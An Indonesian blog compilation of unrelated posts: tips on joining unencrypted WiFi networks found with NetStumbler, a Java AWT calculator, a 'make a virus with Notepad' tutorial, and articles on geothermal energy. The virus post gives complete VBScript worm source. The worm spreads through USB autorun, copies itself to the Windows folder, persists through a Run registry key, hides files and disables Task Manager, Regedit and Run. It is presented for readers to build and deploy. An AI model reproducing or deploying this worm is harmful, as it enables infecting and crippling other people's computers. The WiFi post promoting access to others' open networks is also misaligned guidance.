Lalu install “NETWORK STUMBLER” untuk mencari sinyal yang kuat dan terdekat.
icon cool Cara Mengenal Hacking Wireless/WiFi/Hotspot dan Triknya Pasang antenna diluar dan masukkan kabel USB pada port anda. Scan pake Net Stumbler. Cari jaringan yang ngga’ di ENCRYPT dan jaraknya paling deket dengan anda. Lalu join aja.
Akses ke wifi :
jenis :
secure, artinya untuk dapat mengakses kita harus memasukkan password
unsecure, artinya kita bisa mengakses wifi tanpa harus mengisikan password, jd langsung konek.
Yang unsecure, kadang juga tidak bisa mengakses internet walau bisa konek ke jaringan. Hal ini ada pengaturan IP. Untuk server yang menggunakan ip dinamik, maka kita tidak usah pusing dengan ip, ip sdh otomatis dimasukkan oleh server ke klien (computer kita).
Untuk server yang menggunakan static ip, maka kita harus secara manual memasukkan ip untuk computer/laptop kita.
Jika kita bisa konek ke wifi tp tidak bisa akses internet, cobalah ubah ip laptop kita. Caranya :
  • klik kanan icon wifi di bawah kanan layar
  • pilih properties
  • pilih Advanced
  • pada bagian connection pilih Internet Protocol (TCP/IP)
  • pilih static ip
  • pada ip isi : 192.168.0.212
  • pada Net Mask isi : 255.255.255.0
  • pada getway isi : 192.168.0.1
  • pada dns server isi : 192.168.0.1
  • klik ok.
Untuk pertanyaan mengenai topik ini tanyakan saja langsung ke penulis di blog dibawah ini…karna saya juga belum pernah nyoba, sy cuma mau berbagi ilmu saja,

Membuat Kalkulator dengan J Creator

Membuat Kalkulator dengan J Creator

MEmbuat Kalkulator dengan Menggunakan J Creator
Tidak terlalu sulit, yang penting di PC Mu sudah ada minimal J2SDK lalu J Creator, Lalu Copy kan Kode Dibawah ini :

import java.awt.*;
import java.awt.event.*;

public class CalculatorH2_DIIITKJ
{

Font Bold=new Font("Helvetica", Font.BOLD, 20);
Label TampilanLayar = new Label("MULAI",Label.RIGHT);
Label TampilanLayarkiri = new Label("",Label.RIGHT);
Label TampilanLayarkanan = new Label("",Label.CENTER);
Button Panggil_Simpanan=new Button("MR");
Button Bersihkan_Simpanan=new Button("MC");


public void map_KalkulOgut()
{
event_handler e1=new event_handler ( );
Frame KalkulOgut=new Frame(" ................................... ");
KalkulOgut.setResizable(true);
KalkulOgut.setSize(520,400);
KalkulOgut.setBackground(Color.blue);
KalkulOgut.setLayout(null);


//Tampilan Display. bisa di edit menggunakan Label
TampilanLayar.setBounds(70,50,360,40);
TampilanLayar.setFont(new Font("Helvetica", Font.BOLD, 25));
TampilanLayar.setForeground(Color.white);
TampilanLayar.setBackground(Color.red);
KalkulOgut.add(TampilanLayar);

TampilanLayarkanan.setBounds(68,48,364,44);
TampilanLayarkanan.setFont(new Font("Algerian", Font.BOLD, 40));
TampilanLayarkanan.setForeground(Color.red);
TampilanLayarkanan.setBackground(Color.green);
KalkulOgut.add(TampilanLayarkanan);

//Menambah Tombol 1 sampai dengan 0
Button simpanan=new Button("M+");
simpanan.setBounds(72,96,60,34);
simpanan.setBackground(Color.white);
simpanan.setForeground(Color.red);
simpanan.setFont(Bold);
simpanan.addActionListener(e1);
KalkulOgut.add(simpanan);

Bersihkan_Simpanan.setEnabled(false);
Bersihkan_Simpanan.setBounds(136,96,60,34);
Bersihkan_Simpanan.setBackground(Color.black);
Bersihkan_Simpanan.setForeground(Color.red);
Bersihkan_Simpanan.setFont(Bold);
Bersihkan_Simpanan.addActionListener(e1);
KalkulOgut.add(Bersihkan_Simpanan);

Panggil_Simpanan.setBounds(200,96,60,34);
Panggil_Simpanan.setBackground(Color.yellow);
Panggil_Simpanan.setForeground(Color.red);
Panggil_Simpanan.setFont(Bold);
Panggil_Simpanan.addActionListener(e1);
Panggil_Simpanan.setEnabled(false);
KalkulOgut.add(Panggil_Simpanan);

Button satu=new Button("1");
satu.setBounds(72,134,60,34);
satu.setBackground(Color.orange);
satu.setFont(Bold);
satu.addActionListener(e1);
KalkulOgut.add(satu);

Button dua=new Button("2");
dua.addActionListener(e1);
dua.setBackground(Color.orange);
dua.setBounds(136,134,60,34);
dua.setFont(Bold);
KalkulOgut.add(dua);

Button tiga=new Button("3");
tiga.addActionListener(e1);
tiga.setBackground(Color.orange);
tiga.setBounds(200,134,60,34);
tiga.setFont(Bold);
KalkulOgut.add(tiga);

Button empat=new Button("4");
empat.setBackground(Color.orange);
empat.addActionListener(e1);
empat.setFont(Bold);
empat.setBounds(72,172,60,34);
KalkulOgut.add(empat);

Button lima=new Button("5");
lima.setBackground(Color.orange);
lima.addActionListener(e1);
lima.setFont(Bold);
lima.setBounds(136,172,60,34);
KalkulOgut.add(lima);

Button enam=new Button("6");
enam.setBackground(Color.orange);
enam.addActionListener(e1);
enam.setFont(Bold);
enam.setBounds(200,172,60,34);
KalkulOgut.add(enam);

Button tujuh=new Button("7");
tujuh.setBackground(Color.orange);
tujuh.addActionListener(e1);
tujuh.setFont(Bold);
tujuh.setBounds(72,210,60,34);
KalkulOgut.add(tujuh);

Button delapan=new Button("8");
delapan.setBackground(Color.orange);
delapan.addActionListener(e1);
delapan.setFont(Bold);
delapan.setBounds(136,210,60,34);
KalkulOgut.add(delapan);

Button sembilan=new Button("9");
sembilan.setBackground(Color.orange);
sembilan.addActionListener(e1);
sembilan.setFont(Bold);
sembilan.setBounds(200,210,60,34);
KalkulOgut.add(sembilan);

Button kosong=new Button("0");
kosong.setBackground(Color.orange);
kosong.addActionListener(e1);
kosong.setFont(Bold);
kosong.setBounds(136,248,60,34);
KalkulOgut.add(kosong);

Button nanin =new Button("STIMIK - IKMI CIREBON");
nanin.setForeground(Color.red);
nanin.setBackground(Color.green);
nanin.addActionListener(e1);
nanin.setFont(Bold);
nanin.setBounds(72,290,358,50);
KalkulOgut.add(nanin);

Label simbol =new Label("BRAVO MAHASISWA DIII TKJ KELAS H2 STIMIK ",Label.LEFT);
simbol.setForeground(Color.white);
simbol.setFont(Bold);
simbol.setBounds(33,350,550,50);
KalkulOgut.add(simbol);

//Tombol operasi
Button TombolBagi = new Button("BAGI");
TombolBagi.setBackground(Color.gray);
TombolBagi.addActionListener(e1);
TombolBagi.setBounds(264,134,100,34);
TombolBagi.setForeground(Color.green);
TombolBagi.setFont(Bold);
KalkulOgut.add(TombolBagi);

Button TombolKali = new Button("KALI");
TombolKali.setBackground(Color.gray);
TombolKali.addActionListener(e1);
TombolKali.setBounds(264,172,100,34);
TombolKali.setForeground(Color.green);
TombolKali.setFont(Bold);
KalkulOgut.add(TombolKali);

Button TombolPengurangan = new Button("KIRANG");
TombolPengurangan.setBackground(Color.gray);
TombolPengurangan.addActionListener(e1);
TombolPengurangan.setBounds(264,210,100,34);
TombolPengurangan.setForeground(Color.green);
TombolPengurangan.setFont(Bold);
KalkulOgut.add(TombolPengurangan);

Button TombolTambah= new Button("TAMBIH");
TombolTambah.setBackground(Color.gray);
TombolTambah.addActionListener(e1);
TombolTambah.setBounds(264,248,100,34);
TombolTambah.setForeground(Color.green);
TombolTambah.setFont(Bold);
KalkulOgut.add(TombolTambah);

Button titik= new Button(".");
titik.setBackground(Color.gray);
titik.addActionListener(e1);
titik.setBounds(200,248,60,34);
titik.setForeground(Color.green);
titik.setFont(Bold);
KalkulOgut.add(titik);

Button TombolTambahKurang = new Button("+/-");
TombolTambahKurang.setBackground(Color.gray);
TombolTambahKurang.addActionListener(e1);
TombolTambahKurang.setBounds(72,248,60,34);
TombolTambahKurang.setForeground(Color.green);
TombolTambahKurang.setFont(Bold);
KalkulOgut.add(TombolTambahKurang);

Button Pembersih = new Button("C");
Pembersih.setBackground(Color.red);
Pembersih.addActionListener(e1);
Pembersih.setBounds(370,134,60,34);
Pembersih.setForeground(Color.white);
Pembersih.setFont(Bold);
KalkulOgut.add(Pembersih);

Button persenBae = new Button("%");
persenBae.setBackground(Color.gray);
persenBae.addActionListener(e1);
persenBae.setBounds(370,172,60,34);
persenBae.setForeground(Color.green);
persenBae.setFont(Bold);
KalkulOgut.add(persenBae);

Button satu_Dibagi_X = new Button("1/x");
satu_Dibagi_X.setBackground(Color.gray);
satu_Dibagi_X.addActionListener(e1);
satu_Dibagi_X.setBounds(370,210,60,34);
satu_Dibagi_X.setForeground(Color.green);
satu_Dibagi_X.setFont(Bold);
KalkulOgut.add(satu_Dibagi_X);

Button SamiSareng = new Button("=");
SamiSareng.setBackground(Color.gray);
SamiSareng.addActionListener(e1);
SamiSareng.setBounds(370,248,60,34);
SamiSareng.setForeground(Color.green);
SamiSareng.setFont(Bold);
KalkulOgut.add(SamiSareng);
KalkulOgut.setVisible(true);
}
public static void main(String args[])
{

CalculatorH2_DIIITKJ m1=new CalculatorH2_DIIITKJ();
m1.map_KalkulOgut();
}
String temp="";
String sign="";
double result=0;

//Membuat perubahan Hasil = sebelum 0

double temp_minus=0;
boolean flag_minus_first=true;
boolean mul_flag=true;
double mul_temp=1;
double memory;
boolean memory_flag=false;
boolean divide_flag=true;
double divide_temp=1;
boolean mr_flag=false;

///Penggunaan mekanisme untuk penggunaan memori;
boolean point_flag=true;

//boolean tambah_bagi_kurang_flag=true;
private class event_handler
implements ActionListener
{
public void actionPerformed(ActionEvent e)
{
String cmd=e.getActionCommand();
System.out.println(cmd);

//****************************************************************************

if(cmd=="+/-")
{
//Tambah_bagi_pengurangan_flag=true
//apabila pemakai telah menekan tombol +/- maka nilai dari temp akan ditampikan di layar
//tampilan tidak menyaring hasil dari variabel

if(temp!="" )
//&& plus_slash_minus_flag==true && )
{
if(Double.parseDouble(temp)>0)
{
temp=("KIRANG"+ temp);
System.out.println("temp="+temp);
TampilanLayar.setText(temp);
}
else if(Double.parseDouble(temp)<0)
{
temp=temp.substring(1,temp.length());
System.out.println("temp="+temp);

TampilanLayar.setText(temp);
}

//tambah_slash_kurang_flag=false;
}

//enters when user press +/- and value from result variable is showing
//on screen in that case temp is always empty conditionly
if(temp==" " )

//&& plus_slash_minus_flag==false)
{
String pm="";
pm=String.valueOf(result);
if(result>0)
{
pm="KIRANG"+pm;
result=Double.parseDouble(pm);
TampilanLayar.setText(String.valueOf(result));
pm="";
}
else if(result<0)
{
pm=pm.substring(1,pm.length());
result=Double.parseDouble(pm);
TampilanLayar.setText(String.valueOf(result));
pm="";
}
System.out.println("result="+result);
}
}

//****************************************************************************
//******************

if(cmd=="%")
{
point_flag=true;
if(temp!="")
{
result=result/Double.parseDouble(temp);
result=result*100;
TampilanLayar.setText(String.valueOf(result));
}
// kontruksi ada dibawah ini
}
//****************************************************************************
// kemandirian operasi

if(cmd=="1/x")
{
point_flag=true;
if(temp!="")
{
double byx=0;
byx=Double.parseDouble(temp);
byx=1/byx;
temp=String.valueOf(byx);
TampilanLayar.setText(temp);
}
if(temp=="")
{
result=1/result;
TampilanLayar.setText(String.valueOf(result));
}

//kontruksi dibawah ini juga coy...!
}
//****************************************************************************
//if(cmd=="+/-")
//{
//poin_flag=true;
//}
//****************************************************************************

if(cmd=="MC")
{
point_flag=true;
//Harus menambahkan flag comaon dalam semua operasi
//dan harus dicatat bila ada penambahan oprasi baru setelah di bawah ini
memory_flag=false;

//mempunyai makna tidak ada nilai yang di simpan dalam M+
memory=0;
Panggil_Simpanan.setEnabled(false);
Bersihkan_Simpanan.setEnabled(false);
}

//****************************************************************************
//******************

if(cmd=="M+")
{
point_flag=true;
if(mr_flag==false)

//yang di gunakan untuk menyimpan dari suatu hasil
if(temp!="")
{
memory_flag=true;
temp=TampilanLayar.getText();
memory=Double.parseDouble(temp);
mul_flag=false;
flag_minus_first=false;
divide_flag=false;
Panggil_Simpanan.setEnabled(true);
Bersihkan_Simpanan.setEnabled(true);
}
if(mr_flag==true)
{
System.out.println("ENTERED IN M+ where mr_flad=false");

memory_flag=true;
result=Double.parseDouble(TampilanLayar.getText());
memory=result;
mul_flag=false;
flag_minus_first=false;
divide_flag=false;
mr_flag=false;
Panggil_Simpanan.setEnabled(true);
Bersihkan_Simpanan.setEnabled(true);
}
}
//****************************************************************************
if(cmd=="MR")
{
point_flag=true;
if(memory_flag==true)
//pemeriksaan nomor berapa saja yang disimpan dengan penggunaan M+
{
temp=String.valueOf(memory);
TampilanLayar.setText(temp);
}
}
//****************************************************************************
if(cmd=="BAGI")
{
point_flag=true;
if(sign=="KIRANG" && temp!="")
{
result=result-
Double.parseDouble(temp);
TampilanLayar.setText(String.valueOf(result));
temp="";
divide_flag=false;
}
if(sign=="TAMBIH" && temp!="")
{
result=Double.parseDouble(temp)+result;
TampilanLayar.setText(String.valueOf(result));
temp="";
divide_flag=false;
}
if(sign=="KALI" && temp!="")
{
result=result*Double.parseDouble(temp);
TampilanLayar.setText(String.valueOf(result));
temp="";
divide_flag=false;
}
sign="BAGI";
if(temp!="")
{
if(divide_flag==true)
{
divide_temp=Double.parseDouble(temp)/divide_temp;
System.out.println("Divide_temp="+divide_temp);
TampilanLayar.setText(String.valueOf(divide_temp));
temp="";
divide_flag=false;
result=divide_temp;
System.out.println("result="+result);
}
if(divide_flag==false && temp!="")
{
result=result/Double.parseDouble(temp);
TampilanLayar.setText(String.valueOf(result));
System.out.println("result="+result);
temp="";
}
}
}
//****************************************************************************
//******************
if(cmd=="KALI")
{
point_flag=true;
if(sign=="BAGI" && temp!="")
{
result=result/Double.parseDouble(temp);
TampilanLayar.setText(String.valueOf(result));
System.out.println("result="+result);
temp="";
mul_flag=false;
}
if(sign=="TAMBIH" && temp!="")
{
result=Double.parseDouble(temp)+result;
TampilanLayar.setText(String.valueOf(result));
temp="";
mul_flag=false;

//pengujian statemen beta
}
if(sign=="KIRANG" && temp!="")
{
result=result-Double.parseDouble(temp);
TampilanLayar.setText(String.valueOf(result));
temp="";
mul_flag=false;

/// pengujian statemen beta ;
}
sign="KALI";
if(temp!="")
{
if(mul_flag==true)
{
System.out.println("Entered in X where temp!=empty");
mul_temp=mul_temp*Double.parseDouble(temp);
TampilanLayar.setText(String.valueOf(mul_temp));
temp="";
result=mul_temp;
System.out.println("result="+result);
mul_flag=false;
}
else
{
System.out.println("Entered in cmd=X and where mul_flag=false");
result=result*Double.parseDouble(temp);
TampilanLayar.setText(String.valueOf(result));////////////////
temp="";
}
}
}

//****************************************************************************
//******************
if(cmd=="TAMBIH")
{
point_flag=true;
if(sign=="BAGI" && temp!="")
{
result=result/Double.parseDouble(temp);
TampilanLayar.setText(String.valueOf(result));
System.out.println("result="+result);
temp="";
}
if(sign=="KALI" && temp!="")
{
result=result*Double.parseDouble(temp);
TampilanLayar.setText(String.valueOf(result));
temp="";
}
if(sign=="KIRANG" && temp!="")

//e.g 2-2+4 for this like operation
{
result=result-Double.parseDouble(temp);
TampilanLayar.setText(String.valueOf(result));
temp="";
}
sign="TAMBIH";
if(temp!="")
{
mul_flag=false;
System.out.println("Entered in + temp!=empty ");
result=Double.parseDouble(temp)+result;
TampilanLayar.setText(String.valueOf(result));
temp="";
System.out.println("result="+result);
System.out.println(String.valueOf(temp));
}
else
{
}
}

//****************************************************************************
//******************
if(cmd=="KIRANG")
{
point_flag=true;
if(sign=="BAGI" && temp!="")
{
result=result/Double.parseDouble(temp);
TampilanLayar.setText(String.valueOf(result));
System.out.println("result="+result);
temp="";
flag_minus_first=false;
}
if(sign=="KALI" && temp!="")
{
result=result*Double.parseDouble(temp);
TampilanLayar.setText(String.valueOf(result));
temp="";
flag_minus_first=false;
}
if(sign=="TAMBIH" && temp!="")

//jika pengguna memasukan 2-2+ atau nomer manapun
{
result=Double.parseDouble(temp)+result;
TampilanLayar.setText(String.valueOf(result));
temp="";
flag_minus_first=false;
}
sign="KIRANG";
if(temp!="")
{
mul_flag=false;
System.out.println(" Entered in - where temp!=empty ");
if(flag_minus_first==true)

//kapan pertama kali pemakai melaksanakan-operasi setelah mulai program
{
result=Double.parseDouble(temp)-result;
flag_minus_first=false;
System.out.println(result);
}
else
{
result=result-Double.parseDouble(temp);
System.out.println(result);
}
TampilanLayar.setText(String.valueOf(result));
temp="";
}
}

//****************************************************************************
if(cmd=="=")
{
point_flag=true;
if(sign=="TAMBIH")
if(temp!="")
{
mul_flag=false;
divide_flag=false;
flag_minus_first=false;

//pengujian kemungkinan pemindahan
result=Double.parseDouble(temp)+result;
TampilanLayar.setText(String.valueOf(result));
sign="";
temp="";
System.out.println("Hasil="+result);
mr_flag=true;

///penggunaan memori untuk pemanggilan mekanisme
}
if(sign=="KIRANG")
if(temp!="")
{
mul_flag=false;
divide_flag=false;
flag_minus_first=false;

//pengujian kemungkinan pemindahan
result=result-Double.parseDouble(temp);
TampilanLayar.setText(String.valueOf(result));
sign="";
temp="";
System.out.println("result="+result);
mr_flag=true;

///penggunaan memori untuk pemanggilan mekanisme
}
if(sign=="KALI")
if(temp!="")
{
mul_flag=false;
divide_flag=false;
flag_minus_first=false;

//pengujian kemungkinan pemindahan
result=result*Double.parseDouble(temp);
TampilanLayar.setText(String.valueOf(result));
sign="";
temp="";
mr_flag=true;

///penggunaan memori untuk pemanggilan mekanisme
//mul_temp=1;
}
if(sign=="BAGI")
if(temp!="")
{
mul_flag=false;
divide_flag=false;
flag_minus_first=false;

//pengujian kemungkinan pemindahan
result=result/Double.parseDouble(temp);
TampilanLayar.setText(String.valueOf(result));
sign="";
temp="";
mr_flag=true;

///penggunaan memori untuk pemanggilan mekanisme
}
if(sign=="")
if(temp!="")
//pengujian kemungkinan pemindahan
{
result=Double.parseDouble(TampilanLayar.getText());
System.out.println("result="+TampilanLayar.getText());
mul_flag=false;
mr_flag=true;
///penggunaan memori untuk pemanggilan mekanisme (tkj tea pikirkeunuen.just kidul..he.he.)
}
temp="";
}
//****************************************************************************
//******************

if(cmd=="."||cmd=="0" || cmd=="1" ||
cmd=="2" || cmd=="3" || cmd=="4" || cmd=="5" || cmd=="6" || cmd=="7" ||
cmd=="8" || cmd=="9")
{
if(cmd=="." && temp=="" && point_flag==true)
{
temp="0";
temp=temp+cmd;
point_flag=false;
}
else if(cmd=="." && temp!="" && point_flag==true)
{
temp=temp+cmd;
point_flag=false;
}
//temp=temp+cmd;
else if(cmd!=".")
temp=temp+cmd;
TampilanLayar.setText(temp);
System.out.println("temp"+temp);
mr_flag=false;
}

//****************************************************************************
//******************
if(cmd=="C")
{
//tambah_slash_minus_flag=true;
point_flag=true;
mr_flag=false;
divide_temp=1;
divide_flag=true;
mul_flag=true;
temp="";
TampilanLayar.setText("SALAM HANGAT MHS TKJ H2");
result=0;
sign="";
flag_minus_first=true;
mul_temp=1;
System.out.println("result="+result);
System.out.println("temp="+temp);
}

//****************************************************************************


}
}

}

cara membuat virus dengan notepad

Kita akan membuat virus yang sederhana menggunakan Notepad. Virus ini akan membuat dirinya menyebar ke removable disc dengan AutoRun sehingga komputer lain yang tercolok flash disc terinfeksi akan langsung menjadi korban tanpa menungu User menjalankan infector-nya. Sekarang buka Notepad-nya. Copy kode berikut :


'//--Awal dari kode, set agar ketika terjadi Error dibiarkan dan kemudian lanjutkan kegiatan virus--//
on error resume next

'//--Dim kata-kata berikut ini--//
dim rekur,windowpath,flashdrive,fs,mf,isi,tf,kalong,nt,check,sd

'//--Set sebuah teks yang nantinya akan dibuat untuk Autorun Setup Information--//
isi = "[autorun]" & vbcrlf & "shellexecute=wscript.exe k4l0n6.dll.vbs"
set fs = createobject("Scripting.FileSystemObject")
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text = mf.openastextstream(1,-2)
do while not text.atendofstream
rekur = rekur & text.readline
rekur = rekur & vbcrlf
loop
do

'//--Copy diri untuk menjadi file induk di Windows Path (example: C:\Windows)
Set windowpath = fs.getspecialfolder(0)
set tf = fs.getfile(windowpath & "\batch- k4l0n6.dll.vbs ")
tf.attributes = 32
set tf=fs.createtextfile(windowpath & "\batch- k4l0n6.dll.vbs",2,true)
tf.write rekursif
tf.close
set tf = fs.getfile(windowpath & "\batch- k4l0n6.dll.vbs ")
tf.attributes = 39
'//--Buat Atorun.inf untuk menjalankan virus otomatis setiap flash disc tercolok--//
‘Menyebar ke setiap drive yang bertype 1 dan 2(removable) termasuk disket

for each flashdrive in fs.drives
'//--Cek Drive--//
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" then

'//--Buat Infector jika ternyata Drivetypr 1 atau 2. Atau A:\--//
set tf=fs.getfile(flashdrive.path &"\k4l0n6.dll.vbs ")
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &"\k4l0n6.dll.vbs ",2,true)
tf.write rekursif
tf.close
set tf=fs.getfile(flashdrive.path &"\k4l0n6.dll.vbs ")
tf.attributes = 39

'//--Buat Atorun.inf yang teks-nya tadi sudah disiapkan (Auto Setup Information)--//
set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &"\autorun.inf",2,true)
tf.write isi
tf.close
set tf = fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes=39
end if
next

'//--Manipulasi Registry--//

set kalong = createobject("WScript.Shell")

'//--Manip - Ubah Title Internet Explorer menjadi THE KALONG v.s. ZAY--//
kalong.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title"," THE KALONG v.s. ZAY "

'//--Manip – Set agar file hidden tidak ditampilkan di Explorer--//
kalong.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden", "0", "REG_DWORD"

'//--Manip – Hilangkan menu Find, Folder Options, Run, dan memblokir Regedit dan Task Manager--//
kalong.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind", "1", "REG_DWORD"
kalong.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions", "1", "REG_DWORD"
kalong.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun", "1", "REG_DWORD"
kalong.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", "1", "REG_DWORD"
kalong.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr", "1", "REG_DWORD"

'//--Manip – Disable klik kanan--//
kalong.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu", "1", "REG_DWORD"

'//--Manip - Munculkan Pesan Setiap Windows Startup--//
kalong.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption", "Worm Kalong. Variant from Rangga-Zay, don’t panic all data are safe."

'//--Manip – Aktif setiap Windows Startup--//
kalong.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Systemdir", windowpath & "\batch- k4l0n6.dll.vbs "

'//--Manip – Ubah RegisteredOwner dan Organization--//
kalong.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization", "The Batrix"
kalong.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner","Kalong"

'//--Nah kalau kode dibawah ini saya nggak tau, tolong Mas Aat_S untuk menjelaskan--//
if check <> 1 then
Wscript.sleep 200000
end if
loop while check <> 1
set sd = createobject("Wscript.shell")
sd.run windowpath & "\explorer.exe /e,/select, " & Wscript.ScriptFullname
'Akhir dari Kode

Save code di Notepad dengan cara FILE > SAVE. Lalu di save as type pilih “All Files (*.*). Simpan dengan nama : k4l0n6.dll.vbs. Sebenarnya gak usah pake *.dll juga gak apa-apa tapi usaha agar tidak mencurigakan aja.
Sumber Diambil dari : Fariskhi Vidyan

Tentang Panas Bumi

Energi Geo (Bumi) thermal (panas) berarti memanfaatkan panas dari dalam bumi. Inti planet kita sangat panas- estimasi saat ini adalah,500°C (9,932° F)- jadi tidak mengherankan jika tiga meter teratas permukaan bumi tetap konstan mendekati 10°C-16°C (50°F-60°F) setiap tahun. Berkat berbagai macam proses geologi, pada beberapa tempat temperatur yang lebih tinggi dapat ditemukan di beberapa tempat.



Menempatkan panas untuk bekerja

Dimana sumber air panas geothermal dekat permukaan, air panas itu dapat langsung dipipakan ke tempat yang membutuhkan panas. Ini adalah salah satu cara geothermal digunakan untuk air panas, menghangatkan rumah, untuk menghangatkan rumah kaca dan bahkan mencairkan salju di jalan.

Bahkan di tempat dimana penyimpanan panas bumi tidak mudah diakses, pompa pemanas tanah dapat membahwa kehangatan ke permukaan dan kedalam gedung. Cara ini bekerja dimana saja karena temparatur di bawah tanah tetap konstan selama tahunan. Sistem yang sama dapat digunakan untuk menghangatkan gedung di musim dingin dan mendinginkan gedung di musim panas.

Pembangkit listrik

Pembangkit Listrik tenaga geothermal menggunakan sumur dengan kedalaman sampai 1.5 KM atau lebih untuk mencapai cadangan panas bumi yang sangat panas. Beberapa pembangkit listrik ini menggunakan panas dari cadangan untuk secara langsung menggerakan turbin. Yang lainnya memompa air panas bertekanan tinggi ke dalam tangki bertekanan rendah. Hal ini menyebabkan "kilatan panas" yang digunakan untuk menjalankan generator turbin. Pembangkit listrik paling baru menggunakan air panas dari tanah untuk memanaskan cairan lain, seperti isobutene, yang dipanaskan pada temperatur rendah yang lebih rendah dari air. Ketika cairan ini menguap dan mengembang, maka cairan ini akan menggerakan turbin generator.

Keuntungan Tenaga Panas Bumi

Pembangkit listrik tenaga Panas Bumi hampir tidak menimpulkan polusi atau emisi gas rumah kaca. Tenaga ini juga tidak berisik dan dapat diandalkan. Pembangkit listik tenaga geothermal menghasilkan listrik sekitar 90%, dibandingkan 65-75 persen pembangkit listrik berbahan bakar fosil.

Sayangnya, bahkan di banyak negara dengan cadangan panas bumi melimpah, sumber energi terbarukan yang telah terbukti ini tidak dimanfaatkan secara besar-besaran.

sumber: greenpiece indonesia

Isu Pemanasan Global

Pemanasan global dan polusi dan pembakaran bahan bakar fosil yang menyebabkan bahwa ada ancaman di seluruh dunia. Selimut ini polusi dunia, perangkap panas dan membuat efek rumah kaca yang mempengaruhi atmosfir bumi. Semua ini berdampak pada persediaan air bersih, kesehatan masyarakat, pertanian, pantai, hutan, dan banyak lagi.

Energi bersih, terbaharukan dan ramah lingkungan



Panas Bumi adalah sumber energi panas yang terkandung di dalam air panas, uap air, dan batuan bersama mineral ikutan dan gas lainnya yang secara genetik semuanya tidak dapat dipisahkan dalam suatu sistem Panas Bumi dan untuk pemanfaatannya diperlukan proses penambangan.

Pemanfaatan panas bumi relatif ramah lingkungan, terutama karena tidak memberikan kontribusi gas rumah kaca, sehingga perlu didorong dan dipacu perwujudannya; pemanfaatan panas bumi akan mengurangi ketergantungan terhadap bahan bakar minyak sehingga dapat menghemat cadangan minyak bumi

Potensi energi panas bumi di Indonesia mencakup 40% potensi panas bumi dunia, tersebar di 251 lokasi pada 26 propinsi dengan total potensi energi 27.140 MW atau setara 219 Milyar ekuivalen Barrel minyak. Kapasitas terpasang saat ini 1.194 atau 4% dari seluruh potensi yang ada.

sumber: PERTAMINA GeoThermal Energy



PANAS BUMI DI INDONESIA: PROBLEM SOLVER ATAU PROBLEM MAKER?

Kalau kita membaca judul di atas, terbayang betapa berat beban yang harus ditanggung pihak-pihak yang terkait dengan pengembangan panas bumi. Dari sekian banyak stakeholders pengembangan panas bumi, paling tidak ada 3 pihak utama, yaitu pengembang panas bumi, PLN sebagai pembeli dan pemerintah sebagai regulator.

Mengapa sampai ada pertanyaan di atas? Ini dikarenakan banyak pihak yang berpendapat, yang mengisyaratkan ketidakyakinan, apakah pengembangan panas bumi merupakan langkah yang strategis, tepat, dan ekonomis buat Negara ataukah malah sebaliknya, akan memberikan beban kepada Negara ini. Meskipun pada sisi yang lain, banyak pihak juga yang optimis bahwa panas bumi akan memberikan solusi terhadap kekurangan pasokan listrik nasional. Pertanyaan yang sering diutarakan adalah pada harga beli listrik berapa yang harus ditanggung oleh PLN.

Panas Bumi

Seperti diketahui dari data Pemerintah, bahwa Indonesia memiliki potensi panas bumi sebesar 40% cadangan dunia, yaitu mencapai 27.000 MW. Jumlah yang sangat besar apabila dapat dikembangkan dan dimanfaatkan sebaik-baiknya untuk penyediaan listrik nasional. Sampai sejauh ini, pemanfaatannya hanya sebesar 1.196 MW (4.4%) saja yang berasal dari 7 pembangkit listrik yaitu di Jawa, Sulawesi dan Sumatera Utara. Mengapa baru sebesar itu? Dalam kebijakan energy-mix ditargetkan bahwa pada tahun 2025, Indonesia harus sudah dapat memanfaatkan panas bumi sebagai sumber energi minimum 5% (atau lebih dari 1.350 MW) terhadap konsumsi energi nasional. Berdasarkan milestone-nya, sesuai yang termuat dalam Blue Print Pengelolaan Energi Nasional 2006-2025, diperlukan penambahan lebih dari 5.000 MW Pembangkit Listrik Tenaga Panasbumi (PLTP) sebelum tahun 2015. Hal ini kemudian tertuang dalam Rencana Proyek Kelistrikan 10.000 MW Tahap Kedua antara tahun 2010-2015.

Panas Bumi di Indonesia

